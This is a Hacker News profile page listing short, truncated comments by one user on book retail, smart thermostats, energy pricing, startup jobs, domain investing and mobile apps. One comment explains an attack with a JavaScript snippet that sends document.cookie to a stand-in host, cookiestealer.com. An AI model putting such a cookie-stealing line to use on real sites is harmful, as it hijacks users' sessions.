vnorby

9 ms·

1.
by vnorby 11y ago
In 2013, Amazon had 65% market share of online book sales [1]. It wouldn't surprise me if this was 20% higher now. When customers walk into a Barnes and Noble (or any bookstore) and browse books but don't buy (for example, because
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by vnorby 11y ago
Stealth mode company | San Mateo, CA | Full Time We're looking for our first non-founder engineer to join a small team backed by leading VCs and angels. We're working on something amazing and different from most software companies
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by vnorby 11y ago
I worked at Nest on their professional distribution channel for some time. The thermostat market is dominated by professional sales (80-90% are sold and installed by professional HVAC contractors) whereas Nest traditionally sold through to
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by vnorby 12y ago
Not to keep harping on the subject (see my comments above), but pre-warming or pre-cooling houses is actually a really great solution to solving our energy problems with algorithms. It's not strictly a "first world" problem.
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by vnorby 12y ago
Wasting/saving energy is not as simple a calculation as that. When energy is at peak use (say in the winter, around 5:30/6:00 when everybody returns from work), it becomes more expensive for energy companies to procure the requisi
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by vnorby 13y ago
I would be extremely cautious about #1 (replacing PNGs with CSS3 transforms and drop shadows). Your page load time may decrease but your website performance will suffer. For example, when we swapped out CSS3 box-shadows for repeating PNGs w
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by vnorby 13y ago
This can turn out not to be a problem if the startup hits some reasonable growth (growth is usually a solution to such ails as long as it continues). This is the important line in the article. Co-founder breakups probably happen more beca
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by vnorby 13y ago
Mountain View, CA - Full-time iOS/iPhone/iPad developer on-site only Origami.com (formerly known as Everyme) is a YC-backed (S11) startup building an online home for families. We are 8 people (5 eng, 2 design, 1 biz) that are passionate abo
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by vnorby 14y ago
I don't think it's fair to bunch all 400+ Y Combinator companies together like this. You'll probably find good and bad benefits packages with the same frequency across all small startups. Y Combinator certainly does not get their hands dirt
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by vnorby 14y ago
This won't work on Github's subdomain, but you'd do it like this: function sort(data) { $('body').append('<script src="http://cookiestealer.com/log.js?cookie= + document.cookie + '"></script>"); return data.sor
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Fixing Mobile Platforms(philosophically.com)
10 points by vnorby 14y ago|3 comments
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by vnorby 14y ago
http://www.youtube.com/watch?v=92pM6hJG6Wo&feature=youtu... I was stunned by how fast the blind can "speed listen" in the linked video. Is this something anyone can learn?
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by vnorby 14y ago
Sales - depends on how many domains you own and how good they are. I make 5-10x returns on every sale though. For the exchange, I usually transfer within registry and only after receiving payment. I've used escrow.com twice for high value d
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by vnorby 14y ago
Not extortion, usually just a lease to own contract. Say you have a $150,000 domain and a startup wants it, they can lease for $4k/month and pay off the rest when they've raised their next round.
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by vnorby 14y ago
It's not my primary income, it's something I do on the side. Once you've bought a domain, you don't need to do much work after the initial parking setup, which takes about 5 minutes.
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by vnorby 14y ago
I sell through domain marketplaces like sedo/afternic/flippa/dnforum. I also reach out to startups directly that correlate to domains I own, it's a very effective way to sell domains. You can also develop them into SEO/amazon referral sites
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by vnorby 14y ago
Domains - have my portfolio at hackernames.com. It's a good way to exercise your hacker knowledge and you can always use them yourself if you aren't able to find a buyer.
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by vnorby 14y ago
Great points, your article was spot on. No, definitely that's not the main issue, although it is one. You can't keep reinforcing why the user is signing up throughout the process the same way you can on the web. All mobile sign-up screens p
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by vnorby 14y ago
Even if that wasn't true, which it is (there are still billions of people without internet access), I've spent the majority of my time on the internet and I think I can tell the difference between ads and content.
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by vnorby 14y ago
That's fair. I do have something data about that, however. We tried making our app paid and found that we were now trading 100 free downloads for 2 at $0.99. So now we have 5% of 2 people instead of 100. Regular people are really price sens
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by vnorby 14y ago
I think you need mobile. Leaving it out is a mistake because you need to be where your customers are (to me - of course it depends on your app). I just think that mobile is the wrong place to start right now. Sorry for the word overdose. I
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by vnorby 14y ago
I am making two points, the first that we are web-first, and the second that we are revenue-first. I'm not conflating them; that's the point of the article. In any case, they are related in my mind. In order to justify why we are switching
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by vnorby 14y ago
What you're saying is true. It's a small problem and people will forget; they always do. My real intention was to make it easy enough that there was a chance (a very small one indeed) PG would stick it at the bottom of the page and never ha
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by vnorby 14y ago
If you'd like, you can drop in the JS code at the bottom of the page and it will make your footnotes easier to read automatically. It's not the jumping that's as much the problem as losing the context upon jumping.
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by vnorby 14y ago
#FirstWorldProblem: Reading footnotes on PG's essays makes you lose your place, so if you're like me you never read them until you get to the bottom. Solution: Bookmarklet.
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HN Bookmarklet: Show PG's essay footnotes in-line on hover(gist.github.com)
41 points by vnorby 14y ago|23 comments
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by vnorby 14y ago
If a greater percentage of successful businesses are started with 2 people, there must be a good reason for it. If businesses were more likely to be successful with one person, wouldn't you see more people opting to go down that route in ag
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by vnorby 14y ago
Ok, got you. I can answer these. Indeed, it is not representing all fast growing companies all around the world. However, it doesn't have to. Like I said in the post, there is no reason to believe that biases how many founders they have. Co
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by vnorby 14y ago
Actually, I thought it was interesting to know what the breakdown was amongst successful startups since I've never seen any data about it, only anecdotes. I did the research. It took several hours. I happen to have a place where I can share
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by vnorby 14y ago
More top technology companies are started by 2-person founders. If you had no other data other than what is presented, and there isn't, you would want to start a company with 2 founders. Obviously this is not taking into account how many bu

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